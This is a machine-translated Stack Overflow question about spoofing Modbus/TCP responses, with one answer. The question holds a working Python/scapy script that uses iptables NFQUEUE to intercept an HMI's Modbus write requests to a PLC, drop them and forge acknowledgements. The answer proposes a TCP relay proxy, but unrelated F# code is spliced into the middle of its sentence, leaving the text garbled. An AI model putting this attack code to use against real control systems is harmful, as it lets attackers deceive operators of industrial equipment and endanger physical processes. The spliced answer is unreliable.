MODBUS:创建写入请求的假响应

时间:2017-12-04 16:00:35

标签: python scapy modbus-tcp

我试图通过某种MITM攻击欺骗我的HMI(客户端)。但看起来我不了解一些基本的东西。这就是HMI方面的代码和Wireshark截图。问题是:

  1. 我正在从HMI
  2. 删除原始的WRITE请求包
  3. 我正在制作假的RESPONSE数据包并将其发送到HMI
  4. 在HMI尝试发送新的REQUEST但PLC(服务器)突然没有响应之后:(
  5. #!/usr/bin/python2
    import nfqueue
    from scapy.all import *
    load_contrib('modbus')
    import os
    import time
    
    # MITM rule initialization:
    iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
    #iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
    os.system(iptable_rule1)
    os.system("sysctl net.ipv4.ip_forward=1")
    
    def callback(payload):
        global ON
        data = payload.get_data()
        pkt = IP(data)
        #Checking if WRITE request is in payload
        if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
            print "[*] WRITE request packet detected..."
            # Begin of crafting fake RESPONSE packet
            fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
            fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
            fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
            fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
            fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
            fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
            fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
            fake_response[IP].src = pkt[IP].dst
            fake_response[IP].dst = pkt[IP].src
            fake_response[TCP].sport = pkt[TCP].dport
            fake_response[TCP].dport = pkt[TCP].sport
            fake_response[TCP].seq = pkt[TCP].ack
            fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
            fake_response[IP].ttl = 2 #Just for red color in Wireshark
            fake_response[TCP].flags = 'PA'
            #del fake_response[IP].chksum
            #del fake_response[TCP].chksum
            # End of crafting fake RESPONSE packet
            time.sleep(0.1)
            #Injection of FAKE response to the network
            payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
        #All other packets have to be accepted
        else:
            print "[*] Non request packet accepted..."
            payload.set_verdict(nfqueue.NF_ACCEPT)
    
    def main():
        q = nfqueue.queue()
        q.open()
        q.bind(socket.AF_INET)
        q.set_callback(callback)
        q.create_queue(0)
        try:
            q.try_run()
        except KeyboardInterrupt:
            q.unbind(socket.AF_INET)
            q.close()
            print("Flushing iptables.")
            os.system('iptables -F')
            os.system('iptables -X')
    
    main()
    

    Wireshark screenshot

    感谢您提供各种帮助!

1 个答案:

答案 0 :(得分:0)

如果您想篡改TCP连接中的数据,可能更容易将type 'a Chain = | End of 'a | Link of SomeLink<'a> and SomeLink<'a> = abstract Apply : LinkUser<'a,'x> -> 'x and LinkUser<'a,'x> = abstract Apply : ('b -> 'a) * Chain<'b> -> 'x let mkLink (f, c) = Link { new SomeLink<_> with member __.Apply(w) = w.Apply(f, c) } let chain = mkLink (sprintf "%i", End 1) let rec applyChain<'a> : 'a Chain -> 'a = function | End a -> a | Link l -> l.Apply { new LinkUser<_,_> with member __.Apply(f, c) = f (applyChain c) } applyChain chain // "1" iptables用于与作为代理的本地服务器的连接。

通过代理我的意思是TCP中继:TCP服务器将数据转发为简单的客户端。一旦这样做,您可以在转发数据时修改数据。

这样,您的操作系统将处理TCP序列&amp;确认号,校验和等。当您更改内容而不更改内容的长度,或者数据包不是TCP连接(例如,UDP或ICMP消息)时,使用DNAT + Scapy是一个选项。